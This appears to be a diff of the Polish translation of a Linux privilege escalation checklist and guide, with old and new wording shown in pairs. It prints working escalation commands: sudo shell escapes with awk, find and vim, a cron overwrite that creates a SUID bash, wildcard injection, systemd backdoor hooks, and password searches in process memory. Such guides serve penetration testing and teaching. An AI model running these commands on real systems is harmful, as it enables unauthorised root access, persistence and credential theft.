### [Polecenia SUDO i SUID](privilege-escalation/#sudo-and-suid)
### [Polecenia SUDO i SUID](privilege-escalation/index.html#sudo-and-suid)
- [ ] Czy możesz wykonać **jakiekolwiek polecenie z sudo**? Czy możesz użyć go do ODCZYTU, ZAPISU lub WYKONANIA czegokolwiek jako root? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Czy jest jakiś **eksploatowalny plik binarny SUID**? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Czy [**polecenia sudo** są **ograniczone** przez **ścieżkę**? czy możesz **obejść** te ograniczenia](privilege-escalation/#sudo-execution-bypassing-paths)?
- [ ] [**Sudo/SUID binarny bez wskazanej ścieżki**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
- [ ] [**SUID binarny z określoną ścieżką**](privilege-escalation/#suid-binary-with-command-path)? Obejście
- [ ] [**Vuln LD_PRELOAD**](privilege-escalation/#ld_preload)
- [ ] [**Brak biblioteki .so w binarnym SUID**](privilege-escalation/#suid-binary-so-injection) z zapisywalnego folderu?
- [ ] [**Dostępne tokeny SUDO**](privilege-escalation/#reusing-sudo-tokens)? [**Czy możesz stworzyć token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
- [ ] Czy możesz [**odczytać lub zmodyfikować pliki sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
- [ ] Czy możesz [**zmodyfikować /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
- [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) polecenie
- [ ] Czy jakiś **eksploatowalny plik binarny SUID**? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Czy [**polecenia sudo** są **ograniczone** przez **ścieżkę**? czy możesz **obejść** te ograniczenia](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
- [ ] [**Sudo/SUID binarny bez wskazanej ścieżki**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
- [ ] [**SUID binarny z określoną ścieżką**](privilege-escalation/index.html#suid-binary-with-command-path)? Obejście
- [ ] [**Vuln LD_PRELOAD**](privilege-escalation/index.html#ld_preload)
- [ ] [**Brak biblioteki .so w binarnym SUID**](privilege-escalation/index.html#suid-binary-so-injection) z zapisywalnego folderu?
- [ ] [**Dostępne tokeny SUDO**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Czy możesz stworzyć token SUDO**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
- [ ] Czy możesz [**czytać lub modyfikować pliki sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)?
- [ ] Czy możesz [**zmodyfikować /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d)?
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) polecenie
### [Uprawnienia](privilege-escalation/#capabilities)
### [Uprawnienia](privilege-escalation/index.html#capabilities)
- [ ] Czy jakaś binarka ma jakąś **nieoczekiwaną zdolność**?
### [ACL](privilege-escalation/#acls)
### [ACL](privilege-escalation/index.html#acls)
- [ ] Czy jakiś plik ma jakąś **nieoczekiwaną ACL**?
### [Otwarte sesje powłoki](privilege-escalation/#open-shell-sessions)
### [Otwarte sesje powłoki](privilege-escalation/index.html#open-shell-sessions)
- [ ] **screen**
- [ ] **tmux**
### [SSH](privilege-escalation/#ssh)
### [SSH](privilege-escalation/index.html#ssh)
- [ ] **Debian** [**OpenSSL Przewidywalny PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
- [ ] [**Interesujące wartości konfiguracyjne SSH**](privilege-escalation/#ssh-interesting-configuration-values)
- [ ] **Debian** [**OpenSSL Przewidywalny PRNG - CVE-2008-0166**](privilege-escalation/index.html#debian-openssl-predictable-prng-cve-2008-0166)
- [ ] [**Interesujące wartości konfiguracyjne SSH**](privilege-escalation/index.html#ssh-interesting-configuration-values)
### [Interesujące pliki](privilege-escalation/#interesting-files)
### [Interesujące pliki](privilege-escalation/index.html#interesting-files)
- [ ] **Pliki profilu** - Odczytaj wrażliwe dane? Zapisz do privesc?
- [ ] **Pliki passwd/shadow** - Odczytaj wrażliwe dane? Zapisz do privesc?
- [ ] **Sprawdź powszechnie interesujące foldery** pod kątem wrażliwych danych
- [ ] **Dziwne lokalizacje/Pliki własnościowe,** do których możesz mieć dostęp lub zmieniać pliki wykonywalne
- [ ] **Dziwne lokalizacje/Pliki własnościowe**, do których możesz mieć dostęp lub zmieniać pliki wykonywalne
- [ ] **Zmodyfikowane** w ostatnich minutach
- [ ] **Pliki bazy danych Sqlite**
- [ ] **Ukryte pliki**
@ -128,16 +128,16 @@
- [ ] **Znane pliki, które zawierają hasła**: Użyj **Linpeas** i **LaZagne**
- [ ] **Ogólne wyszukiwanie**
### [**Zapisywalne pliki**](privilege-escalation/#writable-files)
### [**Zapisywalne pliki**](privilege-escalation/index.html#writable-files)
- [ ] **Zmodyfikuj bibliotekę Pythona** aby wykonać dowolne polecenia?
- [ ] Czy możesz **zmodyfikować pliki dziennika**? **Eksploit Logtotten**
- [ ] Czy możesz **zmodyfikować /etc/sysconfig/network-scripts/**? Eksploit Centos/Redhat
- [ ] Czy możesz [**zapisać w plikach ini, int.d, systemd lub rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
- [ ] **Modyfikuj bibliotekę Pythona** w celu wykonania dowolnych poleceń?
- [ ] Czy możesz **modyfikować pliki dziennika**? **Eksploit Logtotten**
- [ ] Czy możesz **modyfikować /etc/sysconfig/network-scripts/**? Eksploit Centos/Redhat
- [ ] Czy możesz [**zapisywać w plikach ini, int.d, systemd lub rc.d**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)?
### [**Inne sztuczki**](privilege-escalation/#other-tricks)
### [**Inne sztuczki**](privilege-escalation/index.html#other-tricks)
- [ ] Czy możesz [**wykorzystać NFS do eskalacji uprawnień**](privilege-escalation/#nfs-privilege-escalation)?
- [ ] Czy musisz [**uciec z restrykcyjnej powłoki**](privilege-escalation/#escaping-from-restricted-shells)?
- [ ] Czy możesz [**wykorzystać NFS do eskalacji uprawnień**](privilege-escalation/index.html#nfs-privilege-escalation)?
- [ ] Czy musisz [**uciec z restrykcyjnej powłoki**](privilege-escalation/index.html#escaping-from-restricted-shells)?
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
### OS info
Zacznijmy od zdobywania wiedzy o systemie operacyjnym działającym
Zacznijmy zdobywać wiedzę o systemie operacyjnym, który działa
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -24,9 +24,9 @@ Interesujące informacje, hasła lub klucze API w zmiennych środowiskowych?
```bash
(env || set) 2>/dev/null
```
### Kernel exploits
### Eksploity jądra
Sprawdź wersję jądra i czy istnieje jakiś exploit, który można wykorzystać do eskalacji uprawnień.
Sprawdź wersję jądra i czy istnieje jakiś eksploity, które można wykorzystać do eskalacji uprawnień.
```bash
cat /proc/version
uname -a
@ -45,7 +45,7 @@ Narzędzia, które mogą pomóc w wyszukiwaniu exploitów jądra to:
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (wykonaj W ofierze, sprawdza tylko exploity dla jądra 2.x)
Zawsze **wyszukuj wersję jądra w Google**, może się okazać, że twoja wersja jądra jest opisana w jakimś exploicie jądra, a wtedy będziesz pewien, że ten exploit jest ważny.
Zawsze **wyszukuj wersję jądra w Google**, może twoja wersja jądra jest opisana w jakimś exploicie jądra, a wtedy będziesz pewien, że ten exploit jest ważny.
### CVE-2016-5195 (DirtyCow)
@ -148,7 +148,7 @@ Sprawdź, czy **jakikolwiek kompilator jest zainstalowany**. Jest to przydatne,
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### Zainstalowane oprogramowanie z lukami
### Zainstalowane oprogramowanie podatne
Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieje jakaś stara wersja Nagios (na przykład), która mogłaby być wykorzystana do eskalacji uprawnień…\
Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania.
@ -162,14 +162,14 @@ Jeśli masz dostęp SSH do maszyny, możesz również użyć **openVAS**, aby sp
## Procesy
Sprawdź **jakie procesy**uruchamiane i sprawdź, czy którykolwiek proces ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez roota?)
Sprawdź **jakie procesy**wykonywane i sprawdź, czy jakiś proces ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez roota?)
```bash
ps aux
ps -ef
top -n 1
```
Zawsze sprawdzaj możliwe [**debuggery electron/cef/chromium** działające, możesz je wykorzystać do eskalacji uprawnień](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywają je, sprawdzając parametr `--inspect` w wierszu poleceń procesu.\
Również **sprawdź swoje uprawnienia do binarnych plików procesów**, może uda ci się nadpisać kogoś.
Zawsze sprawdzaj, czy działają [**debuggery electron/cef/chromium**; możesz je wykorzystać do eskalacji uprawnień](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywają je, sprawdzając parametr `--inspect` w wierszu poleceń procesu.\
Również **sprawdź swoje uprawnienia do binariów procesów**, może uda ci się nadpisać kogoś.
### Monitorowanie procesów
@ -182,14 +182,14 @@ Zazwyczaj będziesz potrzebować **uprawnień roota**, aby odczytać pamięć pr
Jednak pamiętaj, że **jako zwykły użytkownik możesz odczytać pamięć procesów, które posiadasz**.
> [!WARNING]
> Zauważ, że obecnie większość maszyn **domyślnie nie zezwala na ptrace**, co oznacza, że nie możesz zrzucać innych procesów, które należą do twojego nieuprzywilejowanego użytkownika.
> Zauważ, że obecnie większość maszyn **domyślnie nie pozwala na ptrace**, co oznacza, że nie możesz zrzucać innych procesów, które należą do twojego użytkownika bez uprawnień.
>
> Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace:
>
> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób, w jaki działał ptrace.
> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób działania ptracingu.
> - **kernel.yama.ptrace_scope = 1**: tylko proces nadrzędny może być debugowany.
> - **kernel.yama.ptrace_scope = 2**: Tylko administrator może używać ptrace, ponieważ wymaga to uprawnienia CAP_SYS_PTRACE.
> - **kernel.yama.ptrace_scope = 3**: Żadne procesy nie mogą być śledzone za pomocą ptrace. Po ustawieniu, wymagany jest restart, aby ponownie włączyć ptrace.
> - **kernel.yama.ptrace_scope = 3**: Żadne procesy nie mogą być śledzone za pomocą ptrace. Po ustawieniu, wymagany jest restart, aby ponownie włączyć ptracing.
#### GDB
@ -230,14 +230,14 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem` zapewnia dostęp do **fizycznej** pamięci systemu, a nie do pamięci wirtualnej. Wirtualna przestrzeń adresowa jądra może być dostępna za pomocą /dev/kmem.\
`/dev/mem` zapewnia dostęp do **fizycznej** pamięci systemu, a nie pamięci wirtualnej. Wirtualna przestrzeń adresowa jądra może być dostępna za pomocą /dev/kmem.\
Typowo, `/dev/mem` jest tylko do odczytu przez **root** i grupę **kmem**.
```
strings /dev/mem -n10 | grep -i PASS
```
### ProcDump dla linux
ProcDump to linuksowa reinterpretacja klasycznego narzędzia ProcDump z zestawu narzędzi Sysinternals dla systemu Windows. Pobierz je w [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
ProcDump to linuxowa reinterpretacja klasycznego narzędzia ProcDump z zestawu narzędzi Sysinternals dla systemu Windows. Pobierz je w [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@ -270,7 +270,7 @@ Aby zrzucić pamięć procesu, możesz użyć:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić proces, który należy do Ciebie
- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany jest root)
- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root)
### Poświadczenia z pamięci procesu
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Zaplanowane/zadania Cron
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać z skryptu uruchamianego przez roota (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez roota? użyj symlinków? utwórz konkretne pliki w katalogu używanym przez roota?).
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać ze skryptu uruchamianego przez root (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez root? użyj symlinków? utwórz konkretne pliki w katalogu, który używa root?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -336,11 +336,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron używający skryptu z dziką kartą (Wildcard Injection)
Jeśli skrypt wykonywany przez root zawiera **\***” w poleceniu, możesz to wykorzystać do wywołania nieoczekiwanych rzeczy (jak privesc). Przykład:
Jeśli skrypt wykonywany przez root zawiera **\***” w poleceniu, możesz to wykorzystać do wywołania nieoczekiwanych rzeczy (jak privesc). Przykład:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**Jeśli znak wieloznaczny jest poprzedzony ścieżką, taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).**
**Jeśli znak wieloznaczny jest poprzedzony ścieżką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).**
Przeczytaj następującą stronę, aby poznać więcej sztuczek z wykorzystaniem znaków wieloznacznych:
@ -362,17 +362,17 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
### Częste zadania cron
Możesz monitorować procesy, aby wyszukać procesy, które są wykonywane co 1, 2 lub 5 minut. Może uda ci się to wykorzystać i podnieść uprawnienia.
Możesz monitorować procesy, aby wyszukiwać procesy, które są wykonywane co 1, 2 lub 5 minut. Może uda ci się to wykorzystać i podnieść uprawnienia.
Na przykład, aby **monitorować co 0,1s przez 1 minutę**, **posortować według mniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić:
Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **posortować według mniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać każdy uruchomiony proces).
**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać każdy proces, który się uruchamia).
### Niewidoczne zadania cron
Możliwe jest utworzenie zadania cron **dodając znak powrotu karetki po komentarzu** (bez znaku nowej linii), a zadanie cron będzie działać. Przykład (zauważ znak powrotu karetki):
Możliwe jest stworzenie zadania cron **dodając znak powrotu karetki po komentarzu** (bez znaku nowej linii), a zadanie cron będzie działać. Przykład (zauważ znak powrotu karetki):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -393,13 +393,13 @@ Możesz zobaczyć PATH używaną przez **systemd** za pomocą:
```bash
systemctl show-environment
```
Jeśli odkryjesz, że możesz **zapisywać** w którymkolwiek z folderów ścieżki, możesz być w stanie **eskalować uprawnienia**. Musisz poszukać **ścieżek względnych używanych w plikach konfiguracji usług** takich jak:
Jeśli odkryjesz, że możesz **zapisywać** w dowolnym z folderów ścieżki, możesz być w stanie **eskalować uprawnienia**. Musisz poszukać **relatywnych ścieżek używanych w plikach konfiguracji usług** takich jak:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
Następnie stwórz **wykonywalny** plik o **tej samej nazwie co binarny plik w ścieżce względnej** w folderze PATH systemd, do którego masz prawo zapisu, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twoja **tylnia furtka zostanie wykonana** (użytkownicy bez uprawnień zazwyczaj nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`).
Następnie utwórz **wykonywalny** plik o **tej samej nazwie co względna ścieżka binarna** w folderze systemd PATH, do którego masz prawo zapisu, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twoja **tylnia furtka zostanie wykonana** (użytkownicy bez uprawnień zazwyczaj nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`).
**Dowiedz się więcej o usługach za pomocą `man systemd.service`.**
@ -413,13 +413,13 @@ systemctl list-timers --all
```
### Writable timers
Jeśli możesz modyfikować timer, możesz sprawić, że wykona on niektóre instancje systemd.unit (takie jak `.service` lub `.target`)
Jeśli możesz modyfikować timer, możesz sprawić, aby wykonywał niektóre instancje systemd.unit (takie jak `.service` lub `.target`)
```bash
Unit=backdoor.service
```
W dokumentacji możesz przeczytać, czym jest jednostka:
> Jednostka do aktywacji, gdy ten timer wygaśnie. Argument to nazwa jednostki, której przyrostek nie jest ".timer". Jeśli nie jest określona, ta wartość domyślnie odnosi się do usługi, która ma tę samą nazwę co jednostka timera, z wyjątkiem przyrostka. (Zobacz powyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, i nazwa jednostki timera były identyczne, z wyjątkiem przyrostka.
> Jednostka do aktywacji, gdy ten timer wygaśnie. Argument to nazwa jednostki, której przyrostek nie jest ".timer". Jeśli nie jest określona, ta wartość domyślnie odnosi się do usługi, która ma tę samą nazwę co jednostka timera, z wyjątkiem przyrostka. (Zobacz powyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, i nazwa jednostki timera były nazwane identycznie, z wyjątkiem przyrostka.
Dlatego, aby nadużyć tego uprawnienia, musisz:
@ -445,15 +445,15 @@ Sockets można konfigurować za pomocą plików `.socket`.
**Dowiedz się więcej o socketach za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale używa się podsumowania, aby **wskazać, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socketu AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.)
- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety same w sobie są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **tworzone** i związane, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie muszą być podane argumenty dla procesu.
- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **zamykane** i usuwane, odpowiednio.
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale używa się podsumowania, aby **wskazać, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socket AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.)
- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **socketów**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie muszą być podane argumenty dla procesu.
- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **socketów**/FIFO, odpowiednio.
- `Service`: Określa nazwę jednostki **usługi**, **którą należy aktywować** przy **przychodzącym ruchu**. Ustawienie to jest dozwolone tylko dla socketów z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji.
### Writable .socket files
Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie uruchomiony przed utworzeniem socketu. Dlatego **prawdopodobnie będziesz musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\
Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie uruchomiony przed utworzeniem socketu. Dlatego prawdopodobnie **będziesz musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\
&#xNAN;_&#x4E;ote, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie uruchomiony_
### Writable sockets
@ -485,11 +485,11 @@ Zauważ, że mogą istnieć **gniazda nasłuchujące na żądania HTTP** (_Nie m
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i być może **wykorzystać jakąś lukę**.
Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i może uda ci się **wykorzystać jakąś lukę**.
### Zapisowalny gniazdo Docker
Gniazdo Docker, często znajdujące się w `/var/run/docker.sock`, jest krytycznym plikiem, który powinien być zabezpieczony. Domyślnie jest zapisywalne przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu w tym gnieździe może prowadzić do eskalacji uprawnień. Oto podział, jak można to zrobić oraz alternatywne metody, jeśli CLI Dockera nie jest dostępne.
Gniazdo Docker, często znajdujące się w `/var/run/docker.sock`, jest krytycznym plikiem, który powinien być zabezpieczony. Domyślnie jest zapisywalne przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu w tym gnieździe może prowadzić do eskalacji uprawnień. Oto podział, jak można to zrobić oraz alternatywne metody, jeśli interfejs wiersza poleceń Docker nie jest dostępny.
#### **Eskalacja uprawnień z użyciem Docker CLI**
@ -536,7 +536,7 @@ Po skonfigurowaniu połączenia `socat` możesz wykonywać polecenia bezpośredn
### Inne
Zauważ, że jeśli masz uprawnienia do zapisu w gnieździe dockera, ponieważ jesteś **w grupie `docker`**, masz [**więcej sposobów na eskalację uprawnień**](interesting-groups-linux-pe/#docker-group). Jeśli [**API dockera nasłuchuje na porcie**, możesz również być w stanie je skompromitować](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Zauważ, że jeśli masz uprawnienia do zapisu w gnieździe dockera, ponieważ jesteś **w grupie `docker`**, masz [**więcej sposobów na eskalację uprawnień**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**API dockera nasłuchuje na porcie**, możesz również być w stanie je skompromitować](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Sprawdź **więcej sposobów na wydostanie się z dockera lub nadużycie go w celu eskalacji uprawnień** w:
@ -564,11 +564,11 @@ runc-privilege-escalation.md
D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywne interakcje i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną strukturę dla różnych form komunikacji aplikacji.
System jest wszechstronny, wspierając podstawowe IPC, które poprawia wymianę danych między procesami, przypominające **ulepszone gniazda domeny UNIX**. Ponadto, wspomaga w nadawaniu zdarzeń lub sygnałów, ułatwiając płynne integrowanie komponentów systemu. Na przykład, sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo, D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, co usprawnia procesy, które były tradycyjnie skomplikowane.
System jest wszechstronny, wspierając podstawowy IPC, który poprawia wymianę danych między procesami, przypominający **ulepszone gniazda domeny UNIX**. Ponadto wspomaga nadawanie zdarzeń lub sygnałów, sprzyjając płynnej integracji między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które były tradycyjnie złożone.
D-Bus działa na modelu **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie łącznego efektu dopasowanych reguł polityki. Polityki te określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień.
D-Bus działa na modelu **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie skumulowanego efektu dopasowanych reguł polityki. Polityki te określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień.
Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości z `fi.w1.wpa_supplicant1`.
Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`.
Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalne, podczas gdy polityki kontekstowe "domyślne" mają zastosowanie do wszystkich, które nie są objęte innymi specyficznymi politykami.
```xml
@ -614,7 +614,7 @@ lsof -i
```
### Otwarte porty
Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którą nie mogłeś się wcześniej skontaktować przed uzyskaniem do niej dostępu:
Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którą nie mogłeś się wcześniej skontaktować:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
@ -694,16 +694,16 @@ Jeśli nie przeszkadza ci robienie dużego hałasu i binaria `su` oraz `timeout`
### $PATH
Jeśli odkryjesz, że możesz **zapisywać w jakimś folderze w $PATH**, możesz być w stanie podnieść uprawnienia poprzez **utworzenie tylnej furtki w zapisywalnym folderze** o nazwie jakiejś komendy, która będzie wykonywana przez innego użytkownika (najlepiej root) i która **nie jest ładowana z folderu, który znajduje się przed** twoim zapisywalnym folderem w $PATH.
Jeśli odkryjesz, że możesz **zapisywać w niektórym folderze $PATH**, możesz być w stanie podnieść uprawnienia poprzez **utworzenie tylnej furtki w zapisywalnym folderze** o nazwie jakiejś komendy, która będzie wykonywana przez innego użytkownika (najlepiej root) i która **nie jest ładowana z folderu znajdującego się przed** twoim zapisywalnym folderem w $PATH.
### SUDO i SUID
Możesz mieć pozwolenie na wykonanie niektórych poleceń za pomocą sudo lub mogą one mieć bit suid. Sprawdź to używając:
Możesz mieć pozwolenie na wykonanie niektórej komendy używając sudo lub mogą mieć bit suid. Sprawdź to używając:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików lub nawet wykonanie polecenia.** Na przykład:
Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików, a nawet wykonanie polecenia.** Na przykład:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@ -726,7 +726,7 @@ sudo vim -c '!sh'
```
### SETENV
